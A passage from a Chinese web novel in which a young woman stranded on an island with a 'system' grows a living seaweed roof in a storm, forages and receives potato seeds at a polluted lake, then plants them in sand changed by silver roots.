奇异的是,在如此昏暗的暴雨天光下。
这些种子竟然散发着极其微弱,却异常清晰的青绿色荧光!
如同被碾碎的星河,带着一种不属于这个世界的勃勃生机。
没有时间犹豫,没有时间精心布置!
苏甜抓起一把旁边被风雨打落、湿透散乱的棕榈叶碎片。
将它们和布袋里所有的青绿种子,粗暴地混合在一起!
“赌一把!”她对着狂风暴雨嘶吼,声音瞬间被吞没。
紧接着,她用尽全身力气。
将这一大捧混杂着棕榈叶碎片的青绿色种子,朝着脚下作为屋顶雏形的几根横梁。
以及横梁之间空荡荡的缝隙,狠狠地、胡乱地抛撒出去!
将最后希望,那袋海草种子混着棕榈叶碎片撒向狂风。
青绿色的光点,如同被狂风吹散的萤火。
瞬间没入冰冷的雨幕,落在湿透的横梁上,落进骨架的空隙里,甚至飘落在下方的泥泞沙地上。
下一秒。
嗡!
一声低沉却极具穿透力的奇异嗡鸣,仿佛从大地深处。
从每一滴雨水中,从那些刚刚落下的种子里共振而出!
瞬间压过了狂暴的风雨声!
苏甜脚下湿透的横梁,猛地一震!
所有散落在横梁上的青绿色种子,骤然爆发出强烈的青绿色光芒!
那光芒并不刺眼,却无比纯粹,充满了生命最原始的悸动!
每一粒种子,都像一颗被点燃的微型星辰!
嗤嗤嗤!
伴随着一阵阵密集得令人头皮发麻的细微声响,那些爆发出强光的种子。
在接触到冰冷的雨水和湿木的刹那,如同被注入无限的生命力,开始疯狂地膨胀,抽芽!
奇迹在雨幕中爆发。
青绿光芒炸裂,草茎疯狂抽芽蔓延。
不是缓慢的生长,是爆发!
是肉眼可见的狂野喷薄!
纤细却坚韧无比的翠绿色草茎,以超越想象的速度从膨胀的种子中激射而出!
它们如同拥有智慧的生命藤蔓,疯狂地向上延伸、向四周蔓延,彼此交织缠绕!
一根根翠绿的光线在雨幕中急速勾勒、穿梭、编织!
雨水不再是阻碍,反而成了最强大的催化剂!
落在这些疯狂生长的草茎上,发出“滋滋”的轻响。
仿佛被瞬间吸收、转化,化为更澎湃的生长动力!
苏甜趴在剧烈震动的横梁上,目瞪口呆地看着眼前这颠覆认知的奇景!
下方,正用一块防水帆布,狼狈地堵着帐篷上一个新破洞的保镖乙,下意识地抬头看了一眼骨架的方向。
只一眼,他整个人如同被闪电劈中,僵在原地。
嘴巴无意识地张大,足以塞进一个鸭蛋。
他手中的帆布滑落,冰冷的雨水立刻浇了他一头一脸。
却浑然不觉,只是死死盯着骨架顶端,那疯狂蔓延的青绿色光网,眼神里充满了极致的惊骇和茫然。
“见鬼了”他喃喃自语,声音淹没在风雨里。
仅仅几个呼吸之间!
那些翠绿的光线已经密密麻麻,层层叠叠。
在横梁之上、在骨架的空隙之间,交织成了一张厚实无比,生机盎然的巨大绿色网络!
原本稀疏的棕榈叶碎片被彻底吞没,包裹、融合,成为了这张绿色巨网的筋络和支撑!
草茎还在疯狂地增厚压实!
深绿色取代了翠绿,厚重取代了单薄。
它们彼此挤压、缠绕、融合,发出细微而坚韧的“咯吱”声。
最终形成了一层覆盖整个骨架顶部的,厚达半尺有余的,散发着浓郁草木清香的墨绿色屋顶!
整个过程,从种子爆发到屋顶成型,快得令人窒息,仅仅过去了十几分钟!
噼里啪啦!
狂暴的雨点终于砸落,却再也不是直接打在苏甜身上或灌入骨架内部。
它们重重地砸在这层厚实坚韧的墨绿色屋顶上,发出沉闷而有力的“噗噗”声,如同敲打在一面巨大的皮鼓上。
雨水顺着紧密交织的草茎迅速滑落,只有靠近边缘的极少部分。
因为草茎的天然垂落,而形成了细密的水帘,滴滴答答地落在骨架外围的沙地上。
骨架之下,瞬间安静了下来。
那无孔不入的冰冷雨水消失了!
那抽打身体的狂风,被厚实的屋顶大大削弱!
整个世界仿佛被这层突然出现的绿色屏障,温柔地隔绝在外。
更神奇的是,那四根主梁散发出的恒定温暖(约25℃),失去了风雨的不断侵袭和热量散失。
开始在这被屋顶遮蔽的狭小空间里缓缓累积,弥漫!
湿冷刺骨的空气,仿佛被一双无形的大手轻柔地拂去。
一股干燥、温暖、带着清新草木气息的暖流,温柔地将苏甜包裹。
极致的寒冷与濒死的绝望,如同潮水般迅速退去。
身体核心的冰冷,被这股温暖一点点驱散。
僵硬麻木的四肢百骸,开始复苏,血液重新带着一丝暖意流淌。
虽然紧贴身体的湿衣服依旧冰冷,虽然伤口还在作痛,但那股几乎要将灵魂都冻僵的寒意,被这小小的、温暖的、干燥的空间奇迹般地抵御住了!
苏甜依旧趴在横梁上,保持着那个僵硬的姿势。
但她的身体,不再因为寒冷而剧烈颤抖。
她缓缓地、深深地吸了一口气。
空气里是浓郁的,带着雨后清新感的草木芬芳。
是生命蓬勃生长的气息。
不再是冰冷的水汽和泥腥味。
她小心翼翼地,慢慢地从横梁上滑了下来,落回骨架内部干燥的沙地上。
脚下一软,她直接跌坐在地,背靠着一根散发着温暖的主梁。
她抬起手,带着一种近乎虔诚的颤抖,轻轻抚上头顶那厚实的,墨绿色的海草屋顶。
掌心传来的触感,坚韧而富有弹性,带着雨水的微凉和生命本身蓬勃的温热。
草茎紧密交织,形成牢不可破的壁垒。
她甚至能感受到掌心下,那无数细小草茎中蕴含的,如同脉搏般轻微却坚韧的生命律动。
安全了。
暂时安全了。
一股巨大的,劫后余生的疲惫和难以言喻的狂喜。
如同海啸般席卷了她。
眼眶瞬间发热,视线变得模糊,不是因为雨水,而是滚烫的液体在涌动。
她死死咬住下唇,将这软弱的生理反应压了下去。
只是更紧地攥住了一把厚实的草茎,仿佛要从中汲取无尽的力量。
就在这时,苏振业那变了调的、充满惊怒和难以置信的嘶吼,穿透了风雨和厚实的草屋顶,隐约传了进来。
“那是什么鬼东西?!屋顶?!绿色的?!怎么冒出来的?!刚才还没有!!”
“苏总!小心!那边又漏了!快!帆布!!”保镖惊
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慌失措的声音紧跟着响起。
“废物!都是废物!这什么破帐篷!老子花了多少钱?!连个乞丐棚都不如!啊!”
伴随着一声气急败坏的怒吼,似乎是什么东西被狠狠踹翻了,接着是苏振业自己更响亮的痛呼和咒骂。
“妈的!我的鞋!全是泥!你们这群蠢货!还不快给老子挡住!水!水又进来了!”
声音扭曲变形,充满了狼狈,愤怒和无能狂怒。
苏甜靠坐在温暖干燥的小空间里。
背靠着散发恒定暖意的神奇主梁,指尖深深嵌入厚实坚韧的草茎之中。
她缓缓抬起头,目光似乎穿透了墨绿色的屋顶。
穿透了狂暴的雨幕,精准地落在那顶在风雨中飘摇漏水的昂贵帐篷上。
嘴角,无法抑制地向上勾起。
那弧度冰冷,锐利。
带着一种从地狱深渊爬回人间,并亲手点燃了第一簇篝火的快意与嘲讽。
她轻轻抚摸着掌心下蓬勃,而坚韧的生命屏障。
感受着那隔绝风雨的坚实和温暖空间带来的安宁。
对着空气,也对着那顶风雨飘摇中的帐篷,用一种只有自己能听清的,却斩钉截铁的低语宣告。
“看见了吗?苏振业。”
“这才是开始。”
冰冷的雨点,砸在墨绿色的屋顶上,噗噗作响,如同沉闷的战鼓。
远处帐篷里苏振业的咒骂断断续续,像一出荒诞的配乐。
苏甜背靠温暖的主梁,蜷缩在干燥的沙地上,疲惫如潮水般涌来,眼皮沉重得几乎抬不起来。
左腿的伤口,在温暖干燥的环境里,疼痛似乎也缓和了些,苔藓的清凉感变得清晰。
她下意识地紧了紧小腹处藏着的匕首,冰冷的刀鞘硌着肋骨,带来一丝锐利的清醒。
活下去的筹码,又多了一个。
她疲惫地合上眼,打算积蓄一点力气。
然而,就在意识即将沉入黑暗的前一刻,一种极其细微、却不容忽视的异样感从身下传来。
沙地在动?
不,不是地震。
是一种极其微妙的,如同无数细针轻轻刺探的麻痒感。
透过薄薄的湿裙布料,从她臀部和腿侧接触的沙地传来。
苏甜猛地睁开眼,强撑起身体,借着骨架外微弱的天光,看向自己身下的沙地。
只见那些刚刚被她清理出来、还算平整的沙地上。
不知何时,悄无声息地钻出了无数比发丝还要纤细的,近乎透明的银白色根须!
它们如同拥有生命的微型触手,正以肉眼难以察觉,却又坚定无比的速度。
从厚实的海草屋顶边缘垂落下来,轻柔而执着地扎入下方的沙粒之中!
这些根须的数量庞大得惊人,密密麻麻,彼此交织。
形成了一片覆盖了她身下及周围一小片沙地的,几乎看不见的银色网络。
它们蠕动着,探索着,深深地扎进沙层深处。
而被这些根须触碰过的沙粒,似乎有了一点极其微妙的变化?
仿佛变得更加紧实、细腻,甚至隐隐透出一种极淡的,温润的光泽?
是错觉吗?
苏甜伸出手指,小心翼翼地触碰了一下离自己最近的一簇银白根须。
指尖传来极其轻微的麻痒和一种难以言喻的,充满生机的吸附感。
她捻起一小撮被根须覆盖过的沙粒,凑到眼前仔细分辨。
沙粒依旧灰黄,但在指尖摩挲时,那种粗粝刮手的感觉似乎真的减弱了,变得柔和了些许?
固沙,这就是【固沙海草种】名称的含义?
它的根须,不仅在固定自身,还在悄然改变着沙地的本质?
就在苏甜为这新发现惊疑不定时,头顶厚实的墨绿色屋顶某处。
靠近边缘的一小丛草茎,在承受了过久的雨水冲刷和重力拉扯后。
发出了一声极其细微的、几乎被雨声淹没的“嘣”的轻响。
一根婴儿手指粗细的深绿色草茎,似乎是因为生长过于迅猛而内部结构尚未完全稳固。
又或者是因为承载了太多雨水,竟从连接处断裂开来!
那截断裂的草茎带着几片宽大的深绿叶片,如同被斩断的蛇尾,直直地从屋顶边缘坠落下来。
噗。
不偏不倚,正好砸在苏甜因惊讶而微微抬起的脸上。
冰凉、湿滑、带着浓郁草木气息的叶片,糊了她一脸。
。。。
她面无表情地将那截惹祸的草茎,从脸上扒拉下来,带着湿漉漉的草屑和冰凉的水珠。
草茎断口处渗出一点无色透明的粘稠汁液,散发着一股更加浓郁的,类似海藻的清新气味。
她捏着这截“天降横祸”,看着它断口处那明显不够坚韧,甚至显得有些“稚嫩”的组织结构。
又抬头看了看头顶厚实,但此刻在她眼中已不再完美无缺的屋顶。
嘴角那丝冰冷的弧度,带上了一点无奈的意味。
屋顶是成了,温暖干燥也有了。
但这显然只是个粗糙的、仓促的、需要不断完善的开始。
就像手里这根断掉的草茎,提醒着她,这系统的“馈赠”,也并非毫无代价和瑕疵。
她把玩着那截湿滑的草茎,目光扫过身下那些依旧在孜孜不倦向沙地深处钻探的银白根须,最后落到自己还在隐隐作痛的左腿上。
食物,伤口,还有这需要加固的屋顶。
接下来的路,依旧荆棘密布。
8. 第8章
胃袋里仿佛住进了一群饥饿的野兽,正在疯狂地啃噬着最后一点残存的理智。
那是一种比左腿伤口更深邃、更原始的疼痛。
火烧火燎的空洞感,从腹腔深处蔓延开来,牵扯着每一根衰弱的神经。
苏甜背靠着散发恒定暖意的主梁,蜷缩在温暖干燥的小空间里。
身体的寒冷被驱散了,但腹中的饥火却越烧越旺。
她舔了舔干裂起皮的嘴唇,口腔里只剩下苦涩的唾液。
小屋(姑且可以这么称呼这个有顶的骨架了)里空无一物。
除了身下这片开始变得细腻紧实的沙地,和头顶厚实坚韧的墨绿色海草屋顶。
安全感有了,但生存最基本的食物,依旧是零。
左腿的伤口,在苔藓持续的清凉作用和温暖干燥的环境下。
红肿明显消褪了一些,边缘开始结出极薄的痂。
疼痛虽然依旧存在。
但已不像之前那样尖锐到令人昏厥,变成了一种持续不断的钝痛和麻痒。
这给了她挪动的可能。
她必须出去找吃的。
趁现在雨停风歇,趁体力还没被饥饿彻底榨干。
小心翼翼地扶着主梁站起来,伤腿不敢完全承重,只能虚点着地。
她拿起那把冰冷的石斧,又将保镖甲给的□□仔细地别在腰间最顺手的位置。
目光扫过屋顶边缘垂落,依旧在孜孜不倦向沙地深处钻探的银白色根须网络。
它们似乎比昨天更密集,覆盖的范围也更广了。
被根须覆盖过的沙地,在从屋顶缝隙透下的天光里。
隐隐透出一种极淡的、温润如玉的光泽,触感也明显更加细腻紧实。
“固沙”苏甜低声自语,带着一丝确认的意味。
这系统的东西,果然没有一样是白给的。
深吸一口气,带着草木清香的温暖空气,暂时压下了胃里的翻腾。
她撩开垂挂在门口(如果那算门的话)的几缕坚韧草茎,一瘸一拐地走出了这小小的庇护所。
暴雨洗刷后的空气异常清新,但也带着刺骨的凉意。
阳光艰难地穿透厚重的云层,洒下几缕吝啬的光斑。
海滩依旧泥泞,但远处礁石区被冲刷得干净了许多。
保镖乙的身影站在礁石上,举着望远镜,镜头冰冷地追随着她的一举一动。
苏甜视若无睹,目光坚定地投向岛屿西侧。
那片与沙滩接壤,幽深莫测的雨林边缘。
走进雨林边缘,光线瞬间昏暗下来。
参天古木遮天蔽日,巨大的板状根,如同巨龙的爪子牢牢抓住地面。
空气潮湿得能拧出水来,混合着浓重的腐叶,泥土和未知植被的气息。
脚下是厚厚的,松软的腐殖层。
每一步都深陷其中,发出“噗嗤”的声响,对于伤腿来说更是额外的负担。
苏甜警惕地扫视着四周,老卡尔关于陷阱和毒物的警告言犹在耳。
她不敢深入,只在边缘地带仔细搜寻。
目光如同最精密的探测器,扫过树根、藤蔓、低矮的灌木丛。
很快,她在一棵倒塌的朽木阴暗面。
发现了几簇生长在苔藓上的、拇指大小、颜色深紫近黑的浆果。
记忆碎片闪过。
重生前家族求生训练时,教官似乎提过这种浆果。
酸涩难咽,但少量食用无毒。
饥饿驱使着她,顾不上太多。
小心翼翼地摘下一颗,用指甲掐破一点果皮,极其谨慎地舔了舔流出的汁液。
嘶!
一股极其尖锐,霸道的酸涩感,瞬间席卷了整个口腔!
唾液腺疯狂分泌,酸得她整张脸都皱了起来,眼泪差点被逼出来。
这味道,简直比浓缩的柠檬汁,还要刺激十倍!
她强忍着呕吐的冲动,将那颗浆果囫囵吞了下去。
酸涩感一路灼烧着食道落入空荡荡的胃里,反而激起更猛烈的饥饿痉挛。
“总比没有强”苏甜咬着牙,忍着口腔和胃部的不适。
将附近能找到的,十几颗深紫浆果都摘了下来,用一片宽大的棕榈叶小心包好。
这点东西,塞牙缝都不够。
继续搜寻。
在一处潮湿的岩缝下,她发现了一些吸附在石头上的灰黑色贝类,个头不大,外壳粗糙。
她认得,是某种牡蛎的近亲,理论上可食。
但生食风险极大,极易引发严重的肠胃疾病甚至寄生虫感染。
犹豫只在瞬间,胃部的绞痛就替她做了决定。
她用石斧撬下几个,同样用棕榈叶包好。
就在这时。
呼,呜呜!
一阵突如其来的,令人心悸的怪啸声从雨林深处传来!
紧接着,头顶原本就稀疏的光线,以肉眼可见的速度迅速黯淡下去!
大片大片的乌云,如同奔腾的黑色怒潮。
从海的方向汹涌而来,瞬间吞噬了刚刚露脸的惨淡阳光!
狂风毫无征兆地再次降临!
这一次,比昨夜的更加暴戾!
它不再是抽打,而是如同无形的巨锤,狠狠砸向整片雨林!
咔嚓!
轰隆!
一棵碗口粗的枯树,在苏甜不远处被狂风拦腰折断。
带着沉闷的巨响砸落在地,溅起大片腐叶和泥浆!
无数枝叶被狂风粗暴地撕扯下来,如同绿色的箭矢般在空中狂舞乱射!
豆大的,冰冷的雨点,夹杂着细小的冰粒,如同密集的子弹,劈头盖脸地砸落下来!
瞬间就将苏甜淋了个透心凉!
“该死!”苏甜咒骂一声,脸色煞白。
这风暴来得毫无征兆,比昨夜更加凶猛!
她离小屋还有一段距离!
求生的本能压倒了一切!
她顾不上腿伤,也顾不上怀里那点可怜的浆果和贝类。
将棕榈叶包裹死死按在怀里,转身就朝着雨林外。
小屋的方向,一瘸一拐地亡命狂奔!
狂风在耳边发出鬼哭般的尖啸,冰冷的雨点夹杂着冰粒砸在脸上生疼。
脚下的腐殖层,在雨水冲刷下变得如同泥沼。
每一步都异常艰难,伤腿每一次落地都传来钻心的痛楚。
折断的树枝和飞溅的泥浆不断袭来,她只能用胳膊护住头脸,跌跌撞撞地在昏暗狂暴的风雨中拼命向前冲。
视线被雨水模糊,只能依稀辨认小屋的方向。
身后的雨林,如同苏醒的洪荒巨兽,在狂风的蹂躏下发出震耳欲聋的咆哮和骨骼断裂般的呻吟。
近了!
更近了!
那歪斜的骨架轮廓,那厚实的墨绿色屋顶,在狂暴的灰白雨幕中,如同唯一的灯塔!
苏甜几乎是扑进了那垂挂着草茎的“门帘”。
带着一身冰冷的雨水和泥泞,重重地摔倒在干燥温暖的沙地上!
心脏在胸腔里疯狂擂动,几乎要破膛而出。
每一次呼吸都带着火辣辣的痛楚和劫后余生的战栗。
就在她扑入小屋的瞬间!
轰!
狂暴的风雨,如同找到了宣泄的出口,狠狠地撞在了厚实的海草屋顶上!
整个骨架都发出了沉闷的嗡鸣和令人牙酸的“咯吱”声!
雨水不再是“噗噗”声,而是如同瀑布冲击巨石般的轰鸣!
整个屋顶都在剧烈地颤抖,波动!
然而那层深绿色的生命屏障,在承受了如此狂暴的冲击后。
只是发出了更加沉闷坚韧的咆哮,如同巨兽的低吼!
草茎彼此绞紧、摩擦,韧性被催发到了极致!
雨水被更高效地疏导滑落,形成更粗壮的水帘砸在外围沙地上。
骨架内部,除了门口因她闯入而带进的一点雨水和泥泞,依旧干燥!
温暖依旧恒定!
苏甜蜷缩在沙地上,大口喘着粗气,浑身湿透冰冷。
惊魂未定地看着头顶那在风暴中岿然不动,如同活物般律动起伏的墨绿色穹顶。
安全!
它又一次保护了她!
就在这时。
【叮!】
一声清脆悦耳、如同玉磬轻击的提示音,毫无征兆地在她脑海中响起!
【警告24小时惩罚期已结束!】
【能量获取限制解除!恢复正常状态!】
【当前生态能量:0】
惩罚结束了!
能量获取恢复了!
这声音在苏甜此刻听来,简直如同天籁!
比任何音乐都要动听!
这意味着她可以再次通过签到获取能量,可以兑换商城里的东西了!
食物、药品,生存的希望之光,在这一刻陡然变得明亮起来!
然而腹中的饥饿感,并未因这希望而减弱半分。
反而因为刚才的亡命狂奔,而变本加厉地灼烧起来。
她颤抖着打开怀里紧抱的棕榈叶包。
深紫色的浆果,在刚才的狂奔和雨水的浸泡下,大部分都破裂了,流出的汁液,将棕榈叶染成了诡异的紫黑色。
散发着一股混合着酸涩和腐败的怪异气味。
那几个撬下来的贝类,外壳缝隙里也渗入了泥浆,看起来更加肮脏可疑。
胃袋剧烈地抽搐了一下,喉咙里泛起一阵酸水。
靠这点东西,根本无法支撑下去。
雨林边缘的资源太过贫瘠,风险也太高。
她必须找到更稳定,更安全的食物来源!
她需要能量!
需要签到新的节点!
目光投向小屋外,那依旧灰暗狂暴的雨幕深处。
岛屿内陆,根据重生前模糊的记忆,似乎有一片咸水湖?
风暴的余威,在傍晚时分终于渐渐平息,只剩下淅淅沥沥的冷雨。
苏甜啃掉了最后两颗相对完好的酸涩浆果,那味道让她整张脸都扭曲变形,胃里更是翻江倒海。
生贝类,她终究没敢尝试,将它们埋在了小屋外的沙地里。
能量恢复的好消息,给了她新的力量。
伤腿在休息后也勉强能支撑。
她决定冒险深入内陆,目标明确。
寻找记忆中的咸水湖,签到新节点!
告别了依旧尽职尽责,监视着她的保镖乙,那冰冷的镜头。
苏甜拄着充当拐杖的结实木棍,拖着伤腿,深一脚浅一脚地踏入了被雨水浸透的岛屿腹地。
地势逐渐升高,雨林变得更加茂密幽深,空气中弥漫着浓郁的湿气和植物腐烂的气息。
走了约莫大半个小时
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,绕过一片长满奇异蕨类植物的湿滑坡地,一股浓烈得令人作呕的气味扑面而来!
那是一种混合了腐烂水藻、动物尸体和某种化学物质甜腥的恶臭!
极其刺鼻!
苏甜捂住口鼻,强忍着胃里的翻腾,拨开眼前一丛高大的、叶片肥厚得滴水的植物。
一片死寂的水域出现在眼前。
【咸水湖】。
但眼前的景象,与她重生前模糊印象中那个波光粼粼、偶尔有水鸟掠过的景象截然不同!
湖水呈现出一种令人心悸的,浑浊粘稠的灰绿色。
水面上漂浮着大片大片腐烂发黑的藻类,如同肮脏的棉絮。
无数翻了白肚的死鱼,腐烂程度不一的鸟类和小型动物尸体。
夹杂在恶臭的藻类之间,随着微风(如果这恶臭的空气里还有风的话)缓缓起伏。
湖岸边的淤泥,是诡异的酱黑色,寸草不生。
只零星地矗立着几株枯死的,枝干扭曲发黑的树木,如同伸向天空的绝望手臂。
死寂。
绝对的死寂。
除了风吹过枯枝发出的呜咽,听不到任何虫鸣鸟叫。
空气中那股甜腥的腐臭味几乎凝成实质,沉重地压在人的肺叶上。
【状态重度污染/富营养化/死寂】
系统的标注冰冷地浮现在苏甜脑海,印证着眼前地狱般的景象。
这显然是前任开发者,疯狂掠夺后留下的致命创伤。
苏甜的心沉了下去。
这样的地方,能签到出什么?
但腹中的饥饿和归零的能量如同鞭子,抽打着她。
她没有退路。
强忍着生理上的强烈不适,苏甜小心翼翼地靠近湖边。
避开那些恶臭的淤泥和漂浮的腐尸,找了一块相对干燥,靠近一株枯死树木的黑色岩石。
她站定,闭上眼,集中精神。
“签到!”意念如同投石,落向这片死寂的湖泊。
短暂的沉寂,仿佛系统也在评估这片区域的“价值”。
几秒钟后。
【叮!】
【签到成功!地点【咸水湖畔(重度污染/死寂)】!】
【获得基础奖励【生态能量x100】!】
【获得核心奖励【速生薯种(块茎类)x1包】!】
【商城权限维持开启状态!】
成了!
一股微弱但清晰的热流瞬间涌入身体,驱散了一丝疲惫和寒意。
更重要的是,手中猛地一沉!
苏甜睁开眼,一包用粗糙但坚韧的未知植物纤维布包裹的东西凭空出现在她手中。
沉甸甸的,很有分量。
她迫不及待地打开包裹一角。
里面是十几颗大小不一,形状不规则的块茎。
表皮是深褐色的,带着泥土的痕迹,看起来其貌不扬,甚至有些干瘪。
但苏甜认得!
这是薯类!
一种生命力极其顽强、生长迅速、块茎富含淀粉的作物!
速生薯种!
希望!
实实在在的、能填饱肚子的希望!
苏甜死死攥紧了这包薯种,指尖因为用力而发白。
饥饿带来的眩晕感,似乎都减轻了许多。
她看了一眼这片散发着死亡气息的咸水湖,眼中不再是纯粹的厌恶,反而多了一丝复杂的意味。
污染是灾难,但也带来了签到的可能和这份救命的种子。
她不再停留,抱着这包沉甸甸的希望。
拄着木棍,转身就朝着小屋的方向。
一瘸一拐地走去。步伐比来时轻快了许多,尽管腿伤依旧疼痛。
夕阳的最后一抹余晖挣扎着穿透云层,将小屋的轮廓染上了一层温暖的金边。
海草屋顶在微风中轻轻摇曳,墨绿色显得格外深沉。
门口垂挂的草茎帘子,也被镀上了一层金辉。
苏甜几乎是冲进了小屋的温暖怀抱。
她顾不上疲惫,立刻跪坐在那片被银白色根须网络覆盖,触感细腻温润的沙地上。
小心翼翼地将那包珍贵的【速生薯种】放在面前。
她解开粗糙的纤维布包裹,露出里面十几颗深褐色的块茎。
拿起其中一颗,仔细端详着,指腹摩挲着粗糙的表皮,仿佛能感受到里面沉睡的生命力。
目光投向小屋旁那片相对平整、已被根须网络初步优化过的沙地区域。
就是那里了!
明天天一亮,就开垦,播种!
她拿起一颗薯种,下意识地,想要将它轻轻按向面前这片被根须覆盖。
显得与众不同的沙地,仿佛一个郑重的仪式开端。
就在薯种粗糙的表皮即将接触到沙地,触碰到那些密密麻麻,如同活物般微微律动的银白色根须时。
异变陡生!
那些原本只是轻柔探入沙层,安静吸收着水分和养分的银白色根须。
在感知到薯种靠近的瞬间,如同被惊醒的蛇群,猛地一颤!
紧接着,以薯种即将落下的点为中心,周围一小片区域的银白根须。
竟然以一种肉眼可见的速度,极其诡异地,向内收缩、蜷曲、避让开来!
仿佛那片沙地,突然变成了某种它们极其排斥的,不愿接触的领域!
9. 第9章
天光微熹,灰蒙蒙的海平线上刚泛起一丝鱼肚白。
海风依旧带着昨夜的寒意,但雨终于停了。
小屋(苏甜在心里已经默认了这个称呼)内,温暖干燥的空气包裹着苏甜。
却也让她腹中的饥饿感更加清晰锐利,如同无数根烧红的细针在胃壁上反复穿刺。
她几乎是睁着眼熬过了后半夜,怀里紧紧抱着那包沉甸甸的【速生薯种】。
每一次胃部的痉挛抽痛,都让她更加清醒地意识到。
希望就在手中,但必须立刻付诸行动。
伤腿的疼痛,经过一夜的温暖休养,变成了持续而顽固的钝痛和麻痒,支撑身体勉强可行。
她深吸一口气,带着草木清香的暖意,暂时压下了些许翻腾的饥火。
拿起冰冷的石斧,拄着充当拐杖的结实木棍,她撩开门口垂挂的坚韧草茎帘子,一瘸一拐地走了出来。
清晨的海滩,清冷而潮湿。
保镖乙如同一个没有感情的雕塑,依旧矗立在远处的礁石上,冰冷的望远镜镜头,反射着微弱的天光,牢牢锁定着她。
苏甜视若无睹。
她的目光锐利地扫过小屋周围。
很快,她选定了一块区域。
就在小屋骨架的东南侧,紧挨着被厚实墨绿色屋顶覆盖的范围。
这片沙地大约两米见方,地势相对平整。
更重要的是,它已经完全被从屋顶边缘垂落、并深深扎入沙层的那片密集银白色根须网络所覆盖!
经过一夜的无声生长,这些根须似乎变得更加活跃和粗壮了。
它们如同拥有生命的银色血管,在浅层沙粒下微微起伏,搏动,覆盖的区域比昨天又向外扩展了一圈。
被它们占据的沙地,在昏暗的光线下,呈现出一种与周围死寂灰黄截然不同温润的深褐色泽。
触手细腻紧实,仿佛蕴含着某种内敛的生机。
“就是这里了。”苏甜低声自语,带着一种近乎虔诚的笃定。
她相信这系统的“固沙”绝非虚言,这片被根须改造过的沙地,就是承载她生存希望的温床。
没有半分犹豫,她放下木棍,忍着腿伤的不便,单膝跪在了这片与众不同的沙地上。
冰冷的沙粒,透过薄薄的裙料刺激着皮肤,但她毫不在意。
双手紧握石斧粗糙的木柄,高高举起,然后狠狠劈下!
铿!
噗嗤!
石斧砸在沙地上的声音,沉闷而吃力。
沙层下面并非全是松软的沙子,混杂着不少被风暴卷来的碎石,破碎的珊瑚骨片,甚至还有细小的贝壳碎片。
每一次劈砍,石斧的钝刃砸在这些硬物上,都震得苏甜双臂发麻,虎口生疼。
沙粒和碎石飞溅起来,打在脸上、身上,生疼。
清理工作异常艰难。
她只能用石斧一点点地撬,用手指费力地抠。
汗水很快浸湿了她的额发,顺着脸颊滑落,混合着溅起的沙粒,黏腻不堪。
每一次弯腰、用力,都牵扯着左腿的伤口,钝痛如同跗骨之蛆,时刻提醒着她的虚弱。
但她咬紧牙关,眼神专注得可怕。
饥饿和求生的意志,是此刻最强大的动力。
一下,又一下。
碎石被挑出,珊瑚碎片被挖走,贝壳被清理。
粗糙的石斧边缘,甚至因此又崩开了几道细微的裂痕。
保镖乙通过望远镜,看着那个在海滩上艰难蠕动的身影。
少女单膝跪地,挥舞着笨拙的石斧,像一只试图撼动大树的蝼蚁,在灰黄的沙地上进行着毫无意义又极其吃力的“挖掘”。
他面无表情地记录着。
“目标在营地东南侧进行挖掘作业,动作迟缓,效率低下,疑似寻找食物或埋藏物品。”
清理出一片相对松软,平整的土地,苏甜已经累得气喘吁吁,额头上布满了细密的汗珠。
她顾不上休息,立刻小心翼翼地打开那包用粗糙纤维布包裹的【速生薯种】。
十几颗深褐色,其貌不扬的块茎安静地躺在包裹里。
她拿起一颗,指腹感受着那粗糙表皮下的坚实。
希望。
她用石斧的钝头,在清理好的沙地上,小心翼翼地挖出一个个浅坑。
坑很浅,因为她没有深挖的力气,也担心伤到沙层下那些神秘的银白根须。
每一个坑,间隔大约一尺。
然后,她极其郑重地,将一颗颗薯种放入浅坑中。
动作轻柔,如同安放易碎的珍宝。
当她拿起最后一颗薯种,准备放入最后一个浅坑时。
指尖无意间触碰到了坑底裸露出来的一根异常活跃的银白色根须。
嗡。
一股极其微弱、却清晰无比的酥麻感,瞬间从指尖传遍全身!
仿佛那根须中,流淌着某种微弱的电流!
苏甜手一抖,薯种差点掉落。
她惊疑地看着那根在沙粒间若隐若现,似乎比其他根须更粗壮,色泽更莹润的银白根须。
它接触到薯种后,竟如同害羞般微微向内蜷缩了一下,随即又恢复了正常的律动。
压下心头的异样感,苏甜将最后一颗薯种轻轻放入浅坑。
她捧起旁边细腻温润的沙土,小心地将每一个浅坑填埋好,轻轻压实。
整个过程,充满了仪式般的庄重。
接下来是最关键,也是最奢侈的一步,灌溉。
她取出那个简陋的【基础淡水过滤器】,拖着伤腿,艰难地走向海岬岩缝处的微小渗水点。
过滤器的效率依旧缓慢,收集一小竹筒(用棕榈叶新卷的)相对清澈的淡水,就耗费了她近一个小时的时间。
每一滴过滤水,都弥足珍贵。
她捧着这半筒宝贵的淡水,如同捧着生命之源,回到她的“薯田”旁。
她极其谨慎地,如同朝圣般,将竹筒里微量的淡水,小心翼翼地,均匀地浇灌在每一颗埋下薯种的浅坑上方。
清冽的水珠渗入深褐色的沙土,瞬间消失无踪,只留下一点深色的湿痕。
就在淡水渗入沙土的刹那!
苏甜清晰地“感觉”到,脚下这片被银白根须网络覆盖的沙地,似乎活了!
那些原本只是静静律动、吸收水分养分的银白色根须,在接触到这蕴含生命气息的淡水的瞬间,仿佛被注入了兴奋剂!
它们在地下以肉眼难以察觉、却又无比真实的速度,更加活跃地搏动起来!
无数细微的根须分支,如同嗅到血腥味的鲨鱼,纷纷从主体上分岔,延伸,贪婪地朝着湿润的薯种埋藏点汇聚而去!
沙地表面看不到任何变化,但苏甜却仿佛听到了无数细微的,充满渴望的“沙沙”声在土层下响起!
那是根须在欢呼,在迎接,在编织一张无形的、只为滋养新生命而存在的温床!
完成了!
苏甜长长地吁出一口气,疲惫感如同潮水般席卷而来,但心中却充满了前所未有的踏实感。<
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她靠坐在小屋温暖的主梁旁,目光落在自己亲手开垦、播种、浇灌的那一小片土地上,眼神温柔而充满期待。
太阳终于挣扎着彻底跃出海平面,吝啬地洒下一些淡金色的光芒。
穿透云层,也透过海草屋顶的缝隙,斑驳地落在那片深褐色的“薯田”上。
就在这时,苏甜的目光猛地凝固了!
她几乎是扑到那片沙地旁,不顾腿伤,单膝跪下,手指颤抖着抚摸着刚刚浇灌过的沙土表面。
颜色!
沙地的颜色!
昨天,这片被根须覆盖的沙地,还只是比外围的灰黄沙地显得更深沉一些,呈现出一种温润的深褐色。
然而此刻,在晨光的照射下,那片深褐色中,竟然极其明显地透出了一种更深的,近乎于肥沃黑土的油润光泽!
不是错觉!
